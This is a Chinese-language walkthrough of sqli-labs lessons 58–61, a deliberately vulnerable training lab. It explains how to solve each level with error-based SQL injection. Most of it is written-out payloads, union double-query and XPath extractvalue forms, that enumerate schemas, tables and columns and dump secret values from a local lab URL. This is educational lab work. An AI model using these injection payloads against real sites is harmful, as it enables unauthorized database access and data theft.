Less-58
基于错误_GET_单引号_字符型_双注入
我们首先查看正常页面,能给我们返回什么信息:
从结构可以分析出,这一关只给你5次的尝试机会,而且回显的账号和往常的不一样,别的博主猜测是排序后输出的(后面会根据源码进行验证)。
接下来判断字符类型:
?id=1'
?id=1"
从图中我们发现单引号报错,且有报错回显,初步判断为字符型单引号闭合,接下来进行验证:
?id=1' -- #
验证成功,且没有过滤注释和逻辑运算符,接下来判断字段数:
?id=1' order by 3-- #
?id=1' order by 4-- #
这说明当前搜索的表有3个字段,接下来我们进行union联合注入:
?id=-1' union select 1,2,3-- #
注入时发现无论如何都会返回值,所以这一关只能使用报错注入,这里使用双注入和 Xpath报错注入。这里我们分析下源代码:
58关源代码:
57关源代码:
对比两张图,我们了解页面的id值是从security数据库中的user表获得的,
id取值范围:1-14,在本关源代码中,获取的用户名和密码在$unames数组中(特别注意$pass = array_reverse($unames)意思是把数组$unames的元素取反,然后赋值给$pass数组),但我们还要注意的是用户Dumb及其密码admin4,无法在页面获取到,因为他们的索引值刚好是各自数组的第一个元素,即索引为0,而id的范围为1~14,没有0 ,所以就获取不到,当然这并不重要,我们只要清楚的知道第54 ~65关解题关键在于challenges数据库即可。
PS:无法使用union联合注入的原因:(对比这四张图就知道原因了)
下面就开始我们的双注入吧:
我这里的环境无法使用group_concat()函数进行双注入报错,前面我也提到过,所以我需要修改注入语句,避免使用group_concat()函数,这里我先给大家看看别人可以使用成功的例子:
http://localhost:8088/sqlilabs/Less-58/?id=-1' union select 1,count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),floor(rand()*2)) as a from information_schema.tables group by a--+
http://localhost:8088/sqlilabs/Less-58/?id=-1' union select 1,count(*),concat_ws('-',(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='5dzdwb17pb'),floor(rand()*2)) as a from information_schema.tables group by a--+
http://localhost:8088/sqlilabs/Less-58/?id=-1' union select 1,count(*),concat_ws('-',(select secret_ZV2Q from challenges.7ry9a67im6),floor(rand()*2)) as a from information_schema.tables group by a--+
注意:报错注入有可能会刷不出来报错信息,这在前面有提到过,可能是报错先后顺序的问题,不行就多尝试几次。
以上是别人的例子,下面我们修改其注入语句:
这里我们还需要稍微的修改下源代码,因为这一关5次机会对于新手来说还是挺难的,为此这里修改源代码:
好了,开始我们的双注入吧:
获取数据库:(challenges)--(PS:这里id应该为-1的写错成1了,但也执行了后面的union语句,也就是说用这个双注入,id=-1也好,id=1也好都会执行后面的语句,至于原因我猜测是由于58关源代码$unames[$row['id']导致的,仔细看58与57关源码,他们返回的用户名和密码顺序是不一样的,57关以及前面的关卡只要id不等于users数据表里的id值就可以执行后面的union语句,也就是说id=-1或者100都可以,因为数据表id范围是1~14,而58与57及前面的最大区别在于,58关的用户名和密码是使用$unames数组和$pass数组,id只是作为数组的索引罢了,而57关及前面发关卡用户名和密码都是在users表中,根据id来索引数组表里的数据,一个取数组元素,一个取数据表数据,这一关id=1也好等于-1也罢所得到的用户名与密码都无法与users表的数据一致,导致了id等于谁,都达到了前面关卡id=-1的效果,所以这或许就导致了id=1与id=-1都能进行注入的原因吧,若不对,还请下方留言告诉我。)(补,后来我又想了想,这一关只能报错注入,如果使用union联合注入,前面说的还有一点点道理,可这是union报错注入啊,在Less-3关中,我使用union报错注入,id=1或者id=-1结果是一样的,也就是说union报错注入与id等于谁无关)
?id=1' union select 1,count(*),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x -- #
获取数据表:(pq6axkrll7)
?id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x -- #
这里说一下,由于challenges只有一个数据表,所以limit 0,1 是可以不用写的。
获取字段
?id=1' union select 1,count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name='pq6axkrll7' limit 2,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x -- #
通过limit x,1依次获取其他字段
获取数据:
?id=1' union select 1,count(*),concat((select secret_EVVF from pq6axkrll7 limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x -- #
(注:使用其他子查询注入也是没问题的:
暴库:
?id=-1' union select 1 from (select count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a) b -- #
爆表:(lxdj823fdb)
?id=-1' union select 1 from (select count(*),concat_ws('-',(select table_name from information_schema.tables where table_schema='challenges' limit 0,1),floor(rand(0)*2))as a from information_schema.tables group by a) b-- #
爆字段:(secret_WULF)
?id=-1' union select 1 from (select count(*),concat_ws('-',(select column_name from information_schema.columns where table_schema='challenges' and table_name='lxdj823fdb' limit 2,1),floor(rand(0)*2))as a from information_schema.tables group by a) b-- #
爆数据:(5DvUgf8TvbETeyoCDFxsSOFE)
?id=-1' union select 1 from (select count(*),concat_ws('-',(select concat_ws('-',id,secret_WULF) from lxdj823fdb limit 0,1),floor(rand(0)*2))as a from information_schema.tables group by a) b-- #
)
这里我还想说一下就是使用floor(rand()*2)这种写法页面有可能不会报错的,但使用floor(rand(0)*2)就一定会报错,但前提是记录数据大于3 ,但这一关数据没有大于3 也可以使用,这和前面的关卡好像不太一样,没有前面的关卡严格,具体原因未知,留在以后解决。
Xpath报错:
暴库:
?id=-1' union select extractvalue(1,concat(0x7e,(select database())))-- #
注:?id=-1' union select换成 ?id=1' and 或者 ?id=-1' and结果是一样的,(报错注入id等于多少无所谓)要灵活运用
爆表:
?id=-1'union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))-- #
爆字段:
?id=-1'union select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='m2tdnyrby6')))-- #
爆数据:
?id=-1'union select extractvalue(1,concat(0x7e,(select group_concat(id,0x3a,secret_U7NV) from m2tdnyrby6)))-- #
Less-59
基于错误_GET_数字型_双注入
59关属于数字型注入,注入语句同58类似:
查看源代码:
举例爆数据表:
?id=-1 union select 1 from (select count(*),concat_ws('-',(select table_name from information_schema.tables where table_schema='challenges' limit 0,1),floor(rand(0)*2))as a from information_schema.tables group by a) b-- #
或者:
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))-- #
Less-60
基于错误_GET_带括号的双引号字符型_双注入_允许5次查询_第三次变异
60关属于带括号的双引号字符型注入,注入语句同58类似:
分析源代码:
举例:
?id=-1") union select 1 from (select count(*),concat_ws('-',(select table_name from information_schema.tables where table_schema='challenges' limit 0,1),floor(rand(0)*2))as a from information_schema.tables group by a) b-- #
Less-61
基于错误_GET_带两个小括号的单引号字符型_双注入_允许5次查询_第三次变异
61关属于带两个小括号的单引号字符型注入,注入语句同58类似:
查看源码:
举例:
?id=1')) and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))-- #
完。